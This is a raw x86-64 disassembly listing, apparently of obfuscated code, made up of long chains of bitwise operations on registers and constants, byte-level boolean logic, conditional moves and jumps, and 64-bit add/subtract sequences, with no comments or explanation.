or ebx, ecx
mov r14d, r12d
or r14d, edx
and edx, 0x46ee5246
and eax, 0xb911adb9
or eax, edx
xor eax, ebx
not r14d
or r14d, eax
xor edi, 0x955e47c0
mov r13d, edi
and r13d, ebp
mov eax, edi
and eax, r13d
xor r13d, edi
or r13d, eax
mov ecx, r14d
mov r11d, r14d
not r11d
mov eax, r11d
and eax, 0xa5df2012
and ecx, 0x5a20dfed
or ecx, eax
mov eax, ecx
xor eax, r11d
and eax, ecx
and esi, 0x8abe479
and r12d, 0xf7541b86
or r12d, esi
mov ecx, r12d
xor ecx, 0x52001b84
and ecx, 0x5a20dfed
xor r12d, 0xad74c46b
or r12d, ecx
mov r15d, r13d
not r15d
mov ecx, r15d
and ecx, 0x939ad3f0
mov ebx, r13d
and ebx, 0x6c652c0f
or ebx, ecx
mov ecx, edi
and ecx, 0xea765a39
and ebp, 0x1589a5c6
or ebp, ecx
mov ecx, r12d
not ecx
xor ebp, 0xb05685d4
xor edi, ebp
and edi, ebp
mov esi, eax
xor esi, r12d
and esi, eax
and r12d, eax
not eax
and eax, ecx
xor ebx, 0xc9ba0c1d
or ebx, r15d
or r12d, eax
mov eax, esi
and eax, r12d
xor r12d, esi
mov ecx, ebx
not ecx
or r12d, eax
mov esi, ebx
and ebx, 0x4e816de7
and ecx, 0xb17e9218
or ecx, ebx
mov eax, edi
not eax
or esi, eax
and eax, 0x4e816de7
and edi, 0xb17e9218
or edi, eax
mov eax, esi
not eax
xor edi, ecx
mov ecx, esi
and ecx, 0x97a005cf
and eax, 0x685ffa30
or eax, ecx
mov ecx, edi
not ecx
or esi, ecx
and ecx, 0x97a005cf
and edi, 0x685ffa30
or edi, ecx
xor edi, eax
not esi
or esi, edi
mov ebx, r12d
mov edi, r12d
xor edi, 0xe4f073e8
and edi, r12d
not r12d
and r12d, 0x935afea9
and ebx, 0x6ca50156
or ebx, r12d
mov eax, esi
not eax
and eax, 0xa0a03240
mov ecx, esi
and ecx, 0x445041a8
or ecx, eax
mov eax, ebx
xor eax, 0x20800000
xor ebx, 0x805072a8
xor ecx, 0x445041a8
and esi, 0x1b0f8c17
or esi, ecx
or ebx, 0x1b0f8c17
mov ecx, ebx
and ecx, 0xdd33dfc6
and eax, 0x20c02028
or eax, ecx
mov ecx, edi
not ecx
or ebx, ecx
and ecx, 0xdd33dfc6
and edi, 0x22cc2039
or edi, ecx
mov ebp, r14d
xor ebp, 0x4fb670ee
and ebp, r14d
mov ecx, r14d
xor edi, eax
not ebx
or ebx, edi
mov eax, ebx
not eax
and eax, 0x344170
and ebx, 0xffcbbe8f
or ebx, eax
mov eax, esi
not eax
and eax, 0x344170
and esi, 0xffcbbe8f
or esi, eax
xor esi, ebx
and r11d, 0x2bad3620
and ecx, 0xd452c9df
or ecx, r11d
mov ebx, ecx
xor ebx, 0xd452c9df
mov eax, ebx
and eax, 0x4fb670ee
mov edi, r15d
and edi, 0x4fb670ee
mov edx, eax
and edx, ebp
xor ebp, eax
mov eax, r13d
xor eax, 0x4fb670ee
and eax, r13d
or ebp, edx
mov edx, edi
and edx, eax
xor eax, edi
or eax, edx
mov edx, ebp
not edx
and edx, 0x530ae5d2
and ebp, 0xacf51a2d
or ebp, edx
mov edx, eax
not edx
and edx, 0x530ae5d2
and eax, 0xacf51a2d
or eax, edx
xor ecx, 0x2bad3620
xor eax, ebp
mov edx, ecx
and edx, 0x91a5b1ce
and ebx, 0x6e5a4e31
or ebx, edx
or ecx, r13d
and r13d, 0x91a5b1ce
and r15d, 0x6e5a4e31
or r15d, r13d
xor r15d, ebx
not ecx
or ecx, r15d
mov edx, ecx
not edx
and edx, 0xc6082e52
and ecx, 0x39f7d1ad
or ecx, edx
xor ecx, 0x39f7d1ad
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x7936852a
and ecx, 0x86c97ad5
or ecx, eax
mov r14d, ecx
xor r14d, 0x82c93ad5
xor ecx, 0x61008400
and ecx, 0x6500c400
and r14d, 0x9aff3bff
or r14d, ecx
mov ecx, r14d
xor ecx, 0x5008400
xor r14d, 0x121413e3
and ecx, 0x8debac1c
and r14d, 0x721453e3
or r14d, ecx
mov ecx, r14d
xor ecx, 0x8debac1c
xor r14d, 0x2140302
mov edx, esi
not edx
mov ebp, edx
or ebp, ecx
not ebp
and edx, 0x702b50e9
and esi, 0x8fd4af16
or esi, edx
and ecx, 0x702b50e9
and r14d, 0x8fd4af16
or r14d, ecx
xor r14d, esi
mov ecx, ebp
and ecx, r14d
xor r14d, ebp
or r14d, ecx
mov ecx, r8d
and ecx, r10d
xor r10d, r8d
or r10d, ecx
mov ecx, r10d
not ecx
and ecx, 0xadeb62f5
and r10d, 0x52149d0a
or r10d, ecx
mov ebp, r10d
xor ebp, 0x4000900a
xor r10d, 0x1a160a0
and r10d, 0x13b56da0
and ebp, 0xec4a925f
or ebp, r10d
mov ecx, ebp
xor ecx, 0x13b56da0
xor ebp, 0xec4a925f
and r8d, 0x54102cf
and r9d, 0xfabefd30
or r9d, r8d
mov ebx, r9d
xor ebx, 0xfabefd30
xor r9d, 0x101000a
and r9d, 0x59a5fc1a
mov edx, ebx
and edx, 0xa65a03e5
or edx, r9d
xor edx, 0xa65a03e5
or edx, ebx
mov ebx, edx
not ebx
and ebx, ecx
mov ecx, ebp
xor ecx, edx
and ecx, ebp
and edx, ebp
or edx, ebx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov r8d, r14d
not r8d
mov eax, r14d
xor eax, 0xe7e12c69
and eax, r14d
mov r12d, r14d
or r12d, 0x181ed396
mov ebp, eax
not ebp
mov ecx, r12d
and ecx, 0xc3499545
mov ebx, r8d
and ebx, 0x24a02828
or ebx, ecx
or r12d, ebp
and ebp, 0xc3499545
and eax, 0x3cb66aba
or eax, ebp
xor eax, ebx
not r12d
or r12d, eax
mov eax, r12d
not eax
and eax, 0x181ed396
and r12d, 0xe7e12c69
or r12d, eax
mov eax, r12d
not eax
and eax, 0xc3ea9120
xor r12d, 0x3c156edf
or r12d, eax
mov r9d, r12d
not r9d
mov eax, r8d
and eax, 0x3c156edf
mov esi, r14d
and esi, 0xc3ea9120
or esi, eax
not esi
or esi, r8d
mov edi, edx
not edi
mov ecx, edi
and ecx, 0x1080b5e3
mov eax, edx
and eax, 0xef7f4a1c
or eax, ecx
mov ecx, eax
xor ecx, 0x48580a18
xor eax, 0x1080b5e3
and ecx, 0x58d81ff9
mov ebx, eax
and ebx, 0xa727e006
or ebx, ecx
mov r11d, esi
not r11d
xor ebx, 0x9b328ed9
and eax, 0xc3ea9120
or eax, ebx
and edi, 0xf7ac4824
and edx, 0x853b7db
or edx, edi
mov ecx, edx
xor ecx, 0x853b7db
xor edx, 0x45040000
and edx, 0x4d570312
mov edi, ecx
and edi, 0xb2a8fced
or edi, edx
mov r15d, eax
not r15d
xor edi, 0x71426dcd
and ecx, 0x3c156edf
or ecx, edi
mov r10d, ecx
not r10d
and r11d, r12d
or r12d, esi
and esi, r9d
mov edx, r12d
not edx
or esi, r11d
mov ebp, r12d
and ebp, 0xc6ae8a7a
and edx, 0x39517585
or edx, ebp
mov ebp, esi
not ebp
or r12d, ebp
and ebp, 0xc6ae8a7a
and esi, 0x39517585
or esi, ebp
xor esi, edx
not r12d
or r12d, esi
and eax, 0x75de400a
mov edx, r15d
and edx, 0x8a21bff5
or edx, eax
xor edx, 0x8a21bff5
mov eax, ecx
and eax, 0xc0cd6742
xor ecx, 0x660e8db1
and ecx, r10d
and r10d, 0x3f3298bd
or r10d, eax
mov ebx, r10d
xor ebx, 0x3f3298bd
xor r10d, 0x593c150c
and r10d, ebx
mov eax, edx
and eax, ebx
xor ebx, edx
and edx, 0x99f1724e
and r15d, 0x660e8db1
or r15d, edx
mov ebp, r10d
not ebp
mov edx, ebp
and edx, 0x13d8aee3
and r10d, 0xec27511c
or r10d, edx
mov edx, ecx
not edx
or ebp, edx
and edx, 0x13d8aee3
and ecx, 0xec27511c
or ecx, edx
xor ecx, r10d
not ebp
or ebp, ecx
mov ecx, r15d
not ecx
and ecx, 0x15d24313
and r15d, 0xea2dbcec
or r15d, ecx
mov ecx, ebp
not ecx
and ecx, 0x15d24313
and ebp, 0xea2dbcec
or ebp, ecx
xor ebp, r15d
or ebx, eax
mov eax, ebp
not eax
mov ecx, eax
and ecx, 0x78a039f
and ebp, 0xf875fc60
or ebp, ecx
mov ecx, ebx
not ecx
or eax, ebx
and ebx, 0x78a039f
and ecx, 0xf875fc60
or ecx, ebx
mov edx, dword [0x1400c566c]
xor ecx, ebp
not eax
or eax, ecx
not eax
mov ebx, eax
or ebx, r12d
mov ecx, ebx
not ecx
xor eax, r12d
not eax
and eax, r12d
mov ebp, ebx
and ebp, 0x2665d972
and ecx, 0xd99a268d
or ecx, ebp
mov ebp, eax
not ebp
or ebx, ebp
and ebp, 0x2665d972
and eax, 0xd99a268d
or eax, ebp
xor eax, ecx
not ebx
or ebx, eax
mov eax, ebx
not eax
mov ecx, eax
and ecx, ebx
mov ebp, ebx
and ebp, 0x3f86d83
and eax, 0xfc07927c
or eax, ebp
mov ebp, ecx
not ebp
or ebx, ebp
and ebp, 0x3f86d83
and ecx, 0xfc07927c
or ecx, ebp
xor ecx, eax
not ebx
or ebx, ecx
and r8d, 0x4430242
mov eax, r14d
and eax, 0x8880c508
or eax, r8d
xor eax, 0x8880c508
and r14d, 0x733c38b5
or r14d, eax
mov eax, r14d
not eax
and eax, 0x5bb9cff5
and r14d, 0xa446300a
or r14d, eax
mov eax, r14d
xor eax, 0x2885f740
xor r14d, 0xd77a08bf
mov ebp, ebx
xor ebp, r14d
and ebp, ebx
and r14d, ebx
not ebx
and ebx, eax
or r14d, ebx
mov ecx, ebp
not ecx
mov eax, r14d
not eax
mov ebx, ecx
and ebx, 0xaa42e7ca
and ebp, 0x55bd1835
or ebp, ebx
or ecx, eax
and eax, 0xaa42e7ca
and r14d, 0x55bd1835
or r14d, eax
xor r14d, ebp
not ecx
or ecx, r14d
mov eax, ecx
not eax
mov ebp, ecx
xor ebp, 0x637ba6c5
and ebp, ecx
or ecx, 0x9c84593a
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0xc1ab476d
and eax, 0x2250a080
or eax, edi
or ecx, ebx
and ebx, 0xc1ab476d
and ebp, 0x3e54b892
or ebp, ebx
xor ebp, eax
not ecx
or ecx, ebp
mov eax, ecx
not eax
and eax, 0x9c84593a
and ecx, 0x637ba6c5
or ecx, eax
mov eax, ecx
not eax
mov ebp, eax
and ebp, 0x15bbcd4c
and ecx, 0xea4432b3
or ecx, ebp
xor ecx, 0xea4432b3
or ecx, eax
cmp ecx, 0xffffffff
setne dil
sete r8b
cmp edx, 0xa
setl r9b
cmp edx, 9
setg r10b
mov r11d, r8d
xor r11b, dil
mov ecx, r11d
xor cl, 1
or cl, r11b
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov esi, ecx
xor sil, 1
mov edx, r10d
xor dl, r9b
mov ebp, edx
xor bpl, 1
mov eax, ebp
and al, r10b
mov ebx, eax
xor bl, 1
xor al, dl
or bl, bpl
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
and bl, al
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov edx, ebx
xor dl, 1
mov eax, edx
and al, bl
mov ebp, edx
xor bpl, al
xor al, 1
or al, bl
xor al, 1
or al, bpl
or dl, bl
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov ebp, r10d
and bpl, dl
xor dl, 1
mov eax, r9d
xor al, dl
mov ebx, eax
xor bl, r10b
and bl, al
and dl, r9b
or dl, bpl
xor dl, bl
mov ebp, edx
xor bpl, 1
and bpl, bl
mov eax, ebp
and al, dl
xor bpl, dl
or bpl, al
mov r15d, ecx
or r15b, r8b
mov r14d, edi
and r14b, cl
mov ebx, esi
and bl, cl
mov r12d, esi
and r12b, bl
xor bl, sil
and sil, r8b
or sil, r14b
xor sil, 1
mov edx, r15d
xor dl, sil
or sil, r15b
xor sil, 1
or sil, dl
mov edx, esi
xor dl, 1
and dl, sil
xor dl, 1
mov eax, esi
xor al, dl
or dl, sil
xor dl, 1
or dl, al
mov esi, edx
xor sil, 1
or bl, r12b
xor bl, r8b
or bl, dil
mov eax, ecx
xor al, dil
or cl, dil
xor cl, 1
or cl, al
mov eax, ecx
xor al, bl
or cl, bl
xor cl, 1
mov ebx, ecx
and bl, al
xor cl, al
or cl, bl
mov eax, esi
xor al, cl
xor al, 1
or sil, al
mov ebx, esi
xor bl, 1
and al, cl
xor cl, dl
and cl, dl
mov edx, eax
xor dl, 1
xor al, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
mov r12d, ecx
xor r12b, 1
and cl, sil
or sil, r12b
and r12b, bl
or r12b, cl
mov ecx, esi
xor cl, r12b
xor r12b, 1
xor cl, 1
or r12b, sil
xor r12b, 1
or r12b, cl
mov esi, ebp
xor sil, 1
mov edx, ebp
or dl, sil
mov ebx, ebp
or bl, dl
xor dl, sil
xor dl, 1
xor bl, 1
or bl, dl
mov ecx, ebx
xor cl, 1
mov edx, ecx
and dl, bl
xor dl, 1
mov r14d, edx
xor r14b, bl
or dl, bl
xor dl, 1
or dl, r14b
xor cl, dl
xor cl, 1
or dl, bl
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
and dl, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
and bpl, sil
mov ecx, esi
and cl, bpl
xor bpl, sil
or bpl, cl
mov ecx, ebp
xor cl, 1
and bpl, cl
xor bpl, 1
mov ebx, ebp
xor bl, cl
or bpl, cl
xor bpl, 1
or bpl, bl
mov ebx, ebp
xor bl, 1
mov ecx, ebx
and cl, bpl
xor bl, cl
xor cl, 1
or cl, bpl
xor cl, 1
or cl, bl
mov esi, ecx
xor sil, 1
mov ebp, r12d
xor bpl, 1
mov ebx, ebp
and bl, r12b
mov eax, ebx
xor al, 1
mov r14d, ebp
xor r14b, bl
or al, r12b
xor al, 1
or al, r14b
xor al, 1
or r12b, bpl
mov r15d, eax
or r15b, r12b
xor r12b, al
mov eax, r15d
xor al, r12b
xor r12b, 1
xor al, 1
or r12b, r15b
xor r12b, 1
or r12b, al
mov r15d, r12d
xor r15b, 1
mov eax, r15d
xor al, r12b
or r15b, r12b
xor r15b, 1
or r15b, al
mov eax, r15d
xor al, 1
and r15b, al
mov r12d, eax
and r12b, r15b
xor r15b, al
or r15b, r12b
mov r13d, edx
mov r12d, esi
mov eax, ecx
xor al, sil
and sil, dl
xor dl, 1
and bl, bpl
or bl, r14b
mov ebp, ebx
xor bpl, 1
and bl, bpl
xor bl, 1
mov r14d, ebx
xor r14b, bpl
or bl, bpl
xor bl, 1
or bl, r14b
or r13b, dl
mov ebp, r13d
and bpl, dl
xor r13b, dl
or bpl, r13b
xor bpl, 1
mov r14d, r13d
and r14b, bpl
xor bpl, r13b
or r12b, cl
xor r12b, 1
and al, cl
or bpl, r14b
xor al, r12b
mov r14d, eax
xor r14b, 1
and r14b, r12b
mov r12d, r14d
and r12b, al
xor r14b, al
or r14b, r12b
mov r12d, ebp
xor r12b, 1
mov r13d, r12d
and r13b, bpl
xor r12b, r13b
xor r13b, 1
or r13b, bpl
mov ebp, r14d
xor bpl, 1
xor r13b, 1
or r13b, r12b
mov eax, ebp
and al, r14b
xor bpl, al
xor al, 1
or al, r14b
xor r15b, 1
xor bl, 1
xor al, 1
or al, bpl
mov ebp, r13d
xor bpl, 1
and bpl, al
xor al, 1
and al, r13b
or al, bpl
mov ebp, edx
xor bpl, cl
and bpl, dl
and cl, dl
or cl, sil
mov edx, ebp
xor dl, 1
xor bpl, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, bpl
mov esi, ecx
xor sil, 1
mov edx, eax
xor dl, cl
and dl, al
and cl, al
xor al, 1
and al, sil
or cl, al
mov eax, edx
xor al, 1
xor dl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, dl
mov eax, r15d
xor al, bl
xor al, 1
mov esi, eax
or sil, r15b
mov ebp, esi
xor bpl, 1
and al, bl
or bl, r15b
xor al, 1
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
mov r14d, eax
xor r14b, 1
mov ebx, ebp
and bl, sil
mov edx, eax
and dl, r14b
mov r15d, ebx
and r15b, bpl
xor bl, bpl
or bl, r15b
mov r15d, edx
and r15b, al
xor dl, al
or dl, r15b
mov r15d, ebx
xor r15b, 1
and r15b, dl
xor dl, 1
and dl, bl
or dl, r15b
xor r14b, sil
or al, bpl
xor al, 1
or al, r14b
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov ebp, ecx
xor bpl, 1
mov r14d, ebp
or r14b, cl
mov esi, eax
xor sil, 1
mov edx, esi
and dl, al
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
or bl, dl
mov edx, r14d
xor dl, 1
and r14b, cl
mov ecx, edx
xor cl, bpl
and cl, dl
and dl, bpl
or dl, r14b
mov ebp, ecx
and bpl, dl
xor dl, cl
or dl, bpl
mov ecx, ebx
xor cl, 1
and al, bl
or bl, sil
xor bl, 1
and cl, sil
or cl, al
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, edx
xor al, 1
mov ebp, eax
and bpl, dl
xor al, bpl
xor bpl, 1
or bpl, dl
xor bpl, 1
or bpl, al
xor bpl, cl
mov esi, ebp
xor sil, 1
mov eax, edi
or al, r10b
xor al, 1
xor dil, r10b
not dil
and dil, r10b
mov ecx, eax
and cl, dil
xor dil, al
or dil, cl
mov eax, edi
xor al, 1
and r11b, r8b
mov ecx, r11d
not cl
and cl, r11b
xor cl, 1
mov edx, r11d
xor dl, cl
or cl, r11b
xor cl, 1
or cl, dl
xor cl, 1
mov edx, ecx
xor dl, r9b
and cl, dl
and dl, r9b
and r9b, al
and dil, r10b
or dil, r9b
xor dil, 1
or dil, al
mov r8d, edi
xor r8b, 1
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov r9d, edx
xor r9b, 1
mov eax, r9d
and al, dl
mov ecx, r9d
and cl, al
xor al, r9b
or al, cl
mov r14d, eax
xor r14b, 1
mov r10d, r8d
or r10b, dil
mov r11d, r10d
xor r11b, 1
xor dil, r8b
and dil, r8b
or al, r14b
xor r9b, dl
and r9b, dl
mov ebx, edi
xor bl, 1
and dil, r10b
or r10b, bl
and bl, r11b
mov edx, r9d
and r9b, al
xor al, 1
xor r10b, 1
or bl, dil
mov r11d, r10d
and r11b, bl
xor bl, r10b
or bl, r11b
xor dl, 1
mov ecx, eax
xor cl, dl
and cl, al
and dl, al
or dl, r9b
mov eax, ecx
xor al, 1
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
xor dl, 1
mov eax, edx
or al, bl
xor dl, bl
xor dl, 1
and dl, bl
mov ecx, eax
xor cl, dl
xor dl, 1
xor cl, 1
or dl, al
xor dl, 1
or dl, cl
mov eax, r8d
or al, r14b
xor al, 1
xor r14b, r8b
mov ecx, eax
and cl, r14b
xor r14b, al
or r14b, cl
xor r14b, 1
mov eax, edx
xor al, r14b
or r14b, dl
xor r14b, 1
or r14b, al
xor r14b, 1
mov ecx, eax
and cl, r14b
xor r14b, al
or r14b, cl
mov eax, r14d
xor al, 1
mov ecx, eax
or cl, r14b
mov edx, r14d
or dl, cl
xor cl, r14b
xor dl, 1
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
mov r10d, edx
xor r10b, 1
mov ecx, edx
and cl, r10b
xor r10b, dl
or r10b, cl
mov r8d, r10d
xor r8b, 1
and al, r14b
xor al, 1
mov ecx, eax
xor cl, r14b
or al, r14b
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and cl, al
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov r9d, ecx
xor r9b, 1
mov edx, r9d
and dl, r10b
mov eax, r8d
and al, cl
or al, dl
xor al, 1
or al, r10b
mov r11d, eax
xor r11b, 1
mov ebx, r10d
and bl, r8b
xor r10b, bl
xor bl, 1
or bl, r8b
xor bl, 1
or bl, r10b
mov edx, ebx
xor dl, 1
and dl, r9b
and bl, cl
or bl, dl
mov ecx, ebx
xor cl, 1
and bl, al
or al, cl
and cl, r11b
or cl, bl
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
mov ebx, ecx
and bl, al
mov edx, ebx
xor dl, 1
xor bl, cl
or dl, al
xor dl, 1
or dl, bl
or al, cl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
mov ebx, ecx
xor bl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
or bl, dl
xor al, bl
or bl, cl
xor bl, 1
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov r8d, eax
xor r8b, 1
mov ebx, eax
or bl, r8b
mov edx, ebx
xor dl, 1
mov ecx, edx
and cl, bl
mov r9d, ecx
and r9b, dl
xor cl, dl
or cl, r9b
mov edx, ecx
xor dl, 1
and dl, al
and cl, r8b
or cl, dl
mov eax, ebx
and al, r8b
xor bl, r8b
or bl, al
mov eax, ebx
xor al, cl
xor cl, 1
xor al, 1
or cl, bl
xor cl, 1
or cl, al
mov edx, ecx
xor dl, 1
mov eax, ecx
and al, dl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
xor al, 1
or dl, cl
xor dl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov edi, edx
xor dil, 1
and dil, dl
mov ecx, edx
and cl, dil
xor dil, dl
or dil, cl
mov ebx, edi
xor bl, 1
mov edx, ebx
and dl, dil
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov r9d, edx
xor r9b, 1
and dl, bpl
and r9b, sil
or r9b, dl
mov ecx, r9d
xor cl, bpl
xor cl, 1
or r9b, sil
xor r9b, 1
or r9b, cl
mov r8d, r9d
xor r8b, 1
and sil, bpl
mov ecx, ebp
and cl, sil
xor sil, bpl
or sil, cl
xor sil, 1
mov ecx, ebx
and cl, sil
xor sil, bl
or sil, cl
mov ecx, ebp
and cl, dil
xor dil, bpl
or dil, cl
mov ecx, esi
or cl, dil
xor cl, 1
xor dil, sil
mov edx, ecx
and dl, dil
xor dil, cl
or dil, dl
mov r14d, edi
xor r14b, 1
mov ebx, r8d
xor bl, r9b
and bl, r8b
mov r10d, r14d
mov ecx, edi
xor cl, r14b
mov eax, ebx
xor al, 1
mov r11d, eax
and r11b, bl
xor r11b, 1
mov esi, ebx
xor sil, r11b
or r11b, bl
mov ebp, r9d
xor bpl, r14b
or r14b, r9b
or r9b, r8b
xor r11b, 1
or r11b, sil
xor r11b, r9b
mov ebx, r9d
and bl, al
xor al, r9b
or r10b, dil
or al, bl
xor al, 1
mov r9d, r11d
and r9b, al
xor al, r11b
mov ebx, r10d
xor bl, 1
and cl, dil
or al, r9b
mov edx, ecx
xor dl, 1
and r10b, cl
and dl, bl
or dl, r10b
mov r9d, ebx
xor r9b, cl
or cl, bl
xor cl, 1
or cl, r9b
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor al, 1
mov edx, eax
xor dl, cl
xor dl, 1
and dl, cl
or al, cl
xor dl, 1
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
xor dil, r8b
xor r14b, 1
or r14b, bpl
xor r14b, 1
mov eax, edi
and al, r14b
xor r14b, dil
or r14b, al
mov eax, r14d
xor al, 1
mov ebx, edx
xor bl, r14b
and bl, dl
and r14b, dl
xor dl, 1
and dl, al
or r14b, dl
mov eax, ebx
xor al, r14b
test r14b, 1
mov ecx, 0x7b18c0fc
mov edx, 0x21932770
cmovne ecx, edx
test bl, 1
mov ebp, 0x7b18c0fc
cmove ecx, ebp
test al, 1
cmovne ecx, edx
cmp ecx, 0xdb67d41
jg 0x1400015a0
jmp 0x1400014ec
mov rax, qword [rsp + 0x78]
sub rax, qword [rsp + 0x158]
movabs rcx, 0xd61f8be98cc9252f
add rax, rcx
movabs rbx, 0x5d888d7c1eaf25e
mov rcx, rbx
movabs rdx, 0xfe53d2bc46b6e8ea
mov rbp, rdx
sub rcx, rdx
movabs rdx, 0xa230d2e02f56ddb8
mov rdi, rdx
add rcx, rdx
mov rdx, rbx
sub rdx, rcx
sub rdx, rbp
sub rdx, rax
movabs rax, 0x255e34606c977364
add rdx, rax
movabs rax, 0x86192ff5f44e4363
add rdx, rax
add rdx, rdi
sub rax, rdx
movabs rbp, 0x481cf31cc80eaa6e
mov rcx, rbp
movabs rdx, 0x23de6eb93aa4b0cc
sub rcx, rdx
sub rcx, rbp
movabs rbp, 0xfac008182f260387
add rcx, rbp
movabs rbx, 0x3813c399ae6584b5
mov r8, rbx
sub rcx, rbx
sub rcx, rbp
movabs rbp, 0x76716e62fb04b211
add rcx, rbp
add rcx, rdx
sub rcx, rbp
movabs rdx, 0xcebff10c11b0ca04
add rcx, rdx
movabs rbp, 0xe290b0f63ca1cacb
sub rcx, rbp
sub rcx, rdx
movabs rdx, 0x8cf67d460cde6073
sub rcx, rdx
sub rcx, qword [rsp + 0x70]
add rcx, rdx
movabs rdx, 0xe3c96cf8546ce538
mov rdi, rdx
add rcx, rdx
add rcx, rbp
movabs rsi, 0x2fa0b7e0b6b0ad34
mov r9, rsi
movabs rdx, 0x9d012e0157dbd61b
mov rbp, rdx
add rdx, rsi
movabs rbx, 0x42d2b5dc637377d
sub rax, rbx
sub rax, rdx
add rax, rbp
add rax, rbx
movabs rbx, 0xff8599575807709e
mov r11, rbx
sub rax, rbx
add rax, rdi
movabs rdi, 0x94fa331b6997a0cd
mov rbx, rdi
add rcx, rdi
sub rax, rcx
movabs rsi, 0x45ce240d46f01d71
mov r10, rsi
movabs rdx, 0xcda983e2d173b6
lea rcx, [rdx + rsi]
sub rdx, rcx
movabs rcx, 0x53a561a0820ef5ea
add rdx, rcx
movabs rbp, 0x3fb9199687ac5aef
mov rsi, rbp
add rdx, rbp
sub rcx, rdx
movabs rdx, 0xe12108daa3d6c6ed
mov rdi, rdx
movabs rbp, 0x692fc900bde0cd37
add rdx, rbp
sub rbp, rdx
add rax, r11
movabs rdx, 0x65572a95d38847ab
add rax, rdx
add rax, rbx
sub rax, rdx
movabs rdx, 0x4dc8e80c85bda9
add rax, rdx
movabs rbx, 0x66c778bc88553bf8
add rax, rbx
add rax, r9
sub rax, rbx
movabs rbx, 0x2fe198bc7b86d043
sub rax, rbx
sub rax, rdx
add rax, rbx
add rcx, rsi
movabs rdx, 0xa2b6a0318e043a2b
add rcx, rdx
movabs rbx, 0xe007a99f6f32e38c
add rax, rbx
sub rbp, rax
sub rbp, rcx
add rbp, r8
add rbp, rdx
movabs rax, 0x65c7075a2704a200
mov rcx, rax
add rbp, rax
add rbp, rbx
add rbp, rdi
movabs rax, 0x6d14f9d36921b2eb
add rbp, rax
sub rax, rbp
add rax, rcx
movabs rdx, 0x41a9603d242ddc7
mov rcx, rdx
sub rcx, rax
sub rcx, rdx
movabs rax, 0x673e3d9da4c18154
add rcx, rax
movabs rdx, 0x7429671d268af47c
add rcx, rdx
sub rcx, rax
movabs rax, 0xd2a6d165e05de940
mov rbp, rax
sub rcx, rax
movabs rax, 0x48cf13ceeebe74a1
mov rbx, rax
add rcx, rax
sub rcx, rdx
movabs rax, 0x9500182a9ac31118
add rcx, rax
sub rax, r10
add rax, rbx
sub rcx, rax
movabs rax, 0x52ade310376fe613
sub rcx, rax
add rcx, rbp
add rcx, rax
mov rax, qword [rsp + 0x168]
movzx eax, word [rax + 0x10]
add rax, qword [rsp + 0x68]
movabs rdx, 0x399990f96a02e377
add rax, rdx
movabs rbx, 0x7ae5ced4d66c9ef7
mov rdx, rbx
movabs rbp, 0xc8874ce9340ef585
sub rdx, rbp
movabs rdi, 0xf851293a60a9518e
mov r8, rdi
sub rdx, rdi
add rdx, rbp
movabs rbp, 0x7ef651a40cebfaa
add rdx, rbp
sub rdx, rbx
sub rdx, rbp
movabs rbp, 0xc515d2b0ab22bc04
sub rdx, rbp
movabs rbx, 0x1f6bb63deadf6e98
sub rdx, rbx
add rdx, rbp
movabs rbp, 0x710fa5fe5dabb4bb
sub rdx, rbp
sub rdx, rcx
add rdx, rbp
movabs rcx, 0x561de57498b4397c
sub rdx, rcx
add rdx, rbx
add rdx, rcx
movabs rcx, 0x167bd152b7dc2393
mov rbp, rcx
sub rdx, rcx
movabs rsi, 0x74d1d8dafe6d86f1
mov rcx, rsi
movabs rbx, 0x7289c6d7ff116739
sub rcx, rbx
movabs rdi, 0x35b9682988f2a27e
sub rcx, rdi
add rcx, rbx
movabs rbx, 0x4928d966c5bdeb2
add rcx, rbx
sub rcx, rsi
sub rcx, rbx
add rcx, rdx
add rcx, r8
add rcx, rbp
movabs rbp, 0x2a53c9126927ef40
sub rcx, rbp
movabs rdx, 0xc803ee1395b4c3d9
sub rcx, rdx
movabs rbx, 0xd6cee61731484aa2
sub rcx, rbx
add rcx, rdi
add rcx, rdx
movabs rdx, 0x1e3deadf033af7af
add rcx, rdx
movabs rdx, 0x167c591250a997ae
mov rbx, rdx
add rax, rdx
movabs rdx, 0xba592f0c32d71447
add rax, rdx
sub rdx, rax
add rdx, rbx
movabs rax, 0xa4ed52663f0c468b
mov rbx, rax
add rdx, rax
